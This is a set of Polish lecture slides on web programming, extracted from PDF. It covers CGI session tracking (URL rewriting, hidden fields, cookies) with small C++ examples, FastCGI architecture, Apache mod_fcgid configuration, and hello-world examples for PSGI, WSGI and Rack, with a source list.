Mechanizmy śledzenia sesji Mechanizmy śledzenia sesji Przepisywanie adresów URL 1. Przepisywanie adresów URL 2. Ukryte pola formularza 3. Ciasteczka 1 # include <i o s t r e a m> 2 using namespace std ; 3 4 int main ( ){ 5 cout << " Content - type : text / html ; charset=utf -8" << endl << endl ; 6 cout << "<a href= skrypt2.cgi?idsesji=123 >Wyślij dane </a>" ; 7 } skrypt1.cgi Content type : text / html ; charset=utf 8 1 # include <i o s t r e a m> 2 # include <s t d l i b. h> 3 using namespace std ; 4 5 int main ( int argc, char argv [ ] ) { 6 cout << " Content - type : text / plain ; charset=utf -8 " << endl << endl ; 7 cout << "Otrzymałem: " << getenv ( " QUERY STRING" ) ; 8 } skrypt2.cgi <a href= s k r y p t 2. c g i? i d S e s j i =123 >Wy ś lij dane</a > stdout Dr inż. Stanisław Polak 53 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 54 Przedmiot: Internet i jego zastosowanie Mechanizmy śledzenia sesji Ukryte pola formularza Mechanizmy śledzenia sesji Ciasteczka 1 # include <i o s t r e a m> 2 using namespace std ; 3 4 int main ( ){ 5 cout << " Content - type : text / html ; charset=utf -8" << endl << endl ; 6 cout << "<form action = skrypt2.cgi >" << endl ; 7 cout << "<input type= hidden name= idsesji value= 123 >" << endl ; 8 cout << "<input type= submit value= Wyślij dane >" << endl ; 9 cout << "</form >" << endl ; 10 } 1 # include <i o s t r e a m> 2 # include <s t d l i b. h> 3 using namespace std ; 4 5 int main ( int argc, char argv [ ] ) { 6 cout << " Content - type : text / plain ; charset=utf -8 " << endl << endl ; 7 cout << "Otrzymałem: " << getenv ( " QUERY STRING" ) ; 8 } 1 # include <i o s t r e a m> 2 using namespace std ; 3 4 int main ( ){ 5 cout << " Content - type : text / html ; charset=utf -8" << endl ; 6 cout << "Set-Cookie: idsesji=123" << endl << endl ; 7 cout << "<a href= skrypt2. cgi >Wyślij dane </a> " ; 8 } 1 # include <i o s t r e a m> 2 # include <s t d l i b. h> 3 using namespace std ; 4 5 int main ( int argc, char argv [ ] ) { 6 cout << " Content - type : text / plain ; charset=utf -8 " << endl << endl ; 7 cout << "Otrzymałem: " << getenv ( " HTTP COOKIE" ) ; 8 } Content type : text / html ; charset=utf 8 <form action = skrypt2. cgi > <input type = hidden name= idsesji value = 123 > <input type = submit value = Wyś l i j dane > </ form> Content type : text / html ; charset=utf 8 Set Cookie : idsesji=123 <a href= skrypt2. cgi >Wy ś lij dane</a>" Dr inż. Stanisław Polak 55 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 56 Przedmiot: Internet i jego zastosowanie

Fast Zalety i wady Zalety Prostota Niezależność język architektura Izolacja procesów Możliwość przekazywania parametrów do programów Nie trzeba modyfikować przeglądarek Wady Mała wydajność Generowanie całości dokumentu WWW Bezstanowość Brak integracji z serwerem Fast Ogólny schemat działania Fast Serwer WWW Proces... Proces Serwer WWW Proces 80 / 443 GET / POST dane Przeglądarka WWW 80 / 443 Przeglądarka WWW GET / POST dane Dr inż. Stanisław Polak 57 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 58 Przedmiot: Internet i jego zastosowanie Fast Fast Rodzaje ról aplikacji Fast Respondenty (responders) Filtry (filters) Autoryzatory (authorizers) Dr inż. Stanisław Polak 59 Przedmiot: Internet i jego zastosowanie Biblioteki do obsługi Fast Język programowania Nazwa biblioteki URL Perl.pm http://perldoc.perl.org/ /Fast.html F http://search.cpan.org/ ~skimo/f-0.67/ Python python-fastcgi https://pypi.python.org/ pypi/python-fastcgi Ruby Ruby-fcgi https://rubyforge.org/ projects/fcgi/ C Fastcgi http://www.fastcgi.com/ dist/fcgi.tar.gz C++ Fastcgi++ http://www.nongnu.org/ fastcgipp/ Materiały dla studentów Informatyki WSZiB w Krakowie Dr inż. Stanisław Polak 60 Przedmiot: Internet i jego zastosowanie

Fast Fast Obsługa protokołu Fast przy użyciu serwera Apache Moduł mod fastcgi Stworzony przez Open Market, ale obecnie nie jest już rozwijany Źródła: http://www.fastcgi.com/ dist/mod_fastcgi-current.tar.gz Kategorie aplikacji Dynamiczne Statyczne Zewnętrzne Zarządzanie aplikacjami Dynamiczne oraz statyczne menedżer procesów fcgi-pm Zewnętrzne program cgi-fcgi Moduł mod proxy fcgi Moduł mod fcgid Rozwijany przez Apache Strona modułu: http: //httpd.apache.org/mod_fcgid/ 1 <IfModule mod_fcgid. c> 2 #Jeż e l i będziemy korzysta ć z bibliotek dla C lub C ++ 3 FcgidInitialEnv LD_LIBRARY_PATH / ś cie ż ka/do/ pliku /z / bibliotek ą/ Fast 4 Alias /fcgi bin / / ś cie ż ka/do/ katalogu /fcgi bin / 5 6 <Directory / ś cie ż ka/do/ katalogu /fcgi bin> 7 AllowOverride None 8 Options None 9 Require all granted 10 SetHandler fcgid script 11 Options +Exec 12 </Directory> 13 14 </IfModule> 15 16 conf/extra/httpd-fcgid.conf Standardowy moduł Apache a, począwszy od wersji 2.4 Umożliwia komunikację z zewnętrznymi aplikacjami Fast Uruchamianie aplikacji Fast za pomocą programu fcgistarter Przykładowe skrypty Fast 1 # include <f c g i s t d i o. h> / b i b l i o t e k a f c g i ; powinna by ć do ł ą czona j a k o 1 #! / u s r / b i n / p e r l pierwsza / 2 use : : Fast qw ( : standard ) ; 2 # include <s t d i o. h> 3 #I n i c j a l i z a c j a 3 # include <s t d l i b. h> 4 my $count = 0 ; 4 int count ; 5 my $lives = 1 0 0 0 ; # ż y j e p r z e z 1000 ż ą da 5 void initialize ( void ) { ń, potem koń czy d z i a ł a n i e 6 count =0; 6 #Pę t l a o d p o w i e d z i. 7 } 7 while ( my $q = : : Fast >new ) { 8 void main ( void ) { 8 print header ; 9 / I n i c j a l i z a c j a / 9 print start_html ( " Fast Hello! (Perl 10 initialize ( ) ; )" ), 11 / Pę t l a odpowiedzi. / 10 " Request number ", ++$count, 12 while ( F_Accept ( ) >= 0) { 11 " running on host ", 13 printf ( " Content - type : text / html \r\n" 12 i ( $ENV{SERVER_NAME }) ; "\r\n" 13 print end_html ; 14 "<title >Fast Hello! (C, 14 fcgi_stdio library ) </title >" 15 last unless $lives ; #l i c z n i k c z a s u ż 15 "<h1 > Fast Hello! (C, fcgi_stdio y c i a library ) </h1 >" 16 last if M $ENV{SCRIPT_FILENAME} < 0 ; 16 " Request number %d running on host < # s p r a w d z e n i e c z a s u m o d y f i k a c j i i >%s </i >\n", p l i k u 17 ++count, getenv ( " SERVER_NAME " ) ) ; 17 } 18 } 19 } Skrypt Fast w Perl-u Skrypt Fast w C Dr inż. Stanisław Polak 61 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 62 Przedmiot: Internet i jego zastosowanie Fast Fast Wydajność i Fast Plik statyczny Fast 21ms + 0.19ms na KB 22ms + 0.28ms na KB 59ms + 0.37ms na KB Założenia Wyniki Czas inicjacji połączenia z BD = 50ms Ilość generowanych danych wyjściowych = 5KB : 59ms + 50ms + (0.37ms)(5) = 111ms Fast: 22ms + (0.28ms)(5) = 23ms Zalety i wady Fast Zalety Wady Elastyczność Wydajność Trwałość procesów, obsługa wielu klientów Kompatybilność z Tryb Niezależność Izolacja procesów Możliwość przetwarzania rozproszonego Proces Fast pracujący na innym węźle Prosta migracja Konieczność rekonfiguracji serwera Dr inż. Stanisław Polak 63 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 64 Przedmiot: Internet i jego zastosowanie

Fast Fast S Interfejsy wysokopoziomowe Perl Web Server Gateway Interface Simple Common Gateway Interface Podobny do Fast ale łatwiejszy do implementacji 1 my $app = sub { 2 my $env = shift ; 3 return [ 4 200, 5 [ Content - Type => text / plain ], 6 [ " Hello World " ] 7 ] ; 8 }; Web Server Gateway Interface Perl 1 def simple_app ( environ, start_response ) : 2 start_response ( 200 OK, [ ( Content - Type, text / plain ) ] ) 3 return [ Hello World!\n ] Rack Python 1 class HelloWorld 2 def call ( env ) 3 return [2 00, { Content - Type => text / plain }, [ " Hello world!" ] ] 4 end 5 end Ruby Dr inż. Stanisław Polak 65 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 66 Przedmiot: Internet i jego zastosowanie Źródła Źródła Źródła I Mark R. Brown. Fast Developer s Kit. http://www.fastcgi.com/devkit/doc/fcgi-devel-kit.htm. The Apache Software Foundation. Apache HTTP Server Version 2.2 Documentation. http://httpd.apache.org/docs/2.2/. Steve Krug. Nie każ mi myśleć! O życiowym podejściu do funkcjonalności stron internetowych. Helion, wydanie drugie, 2006. Netcraft. September 2010 Web Server Survey. http://news.netcraft.com/. Inc. Open Market. Fast: A High-Performance Web Server Interface. http: //www.fastcgi.com/devkit/doc/fastcgi-whitepaper/fastcgi.htm. Źródła II Jarosław Rafa. Gopher: umarły świstak? http://www.wsp.krakow.pl/papers/gopher.html. Jarosław Rafa. Hyper-G - zapomniany następca WWW. http://www.wsp.krakow.pl/papers/hyperg.html. Breach Security. ModSecurity Reference Manual. http://www.modsecurity.org/documentation/. Cezary Sobaniec. Common Gateway Interface. http://skisr.cs.put.poznan.pl/semestr8/psii/lec/psii_wyklad3_ cgi.pdf. Tomasz Traczyk. XForms. http://www.ploug.org.pl/konf_08/materialy/pdf/03_traczyk.pdf. Dr inż. Stanisław Polak 67 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 68 Przedmiot: Internet i jego zastosowanie

Źródła Źródła III Peter Wainwright. Apache 2.0 dla zaawansowanych. Helion, 2004. Dr inż. Stanisław Polak 69 Przedmiot: Internet i jego zastosowanie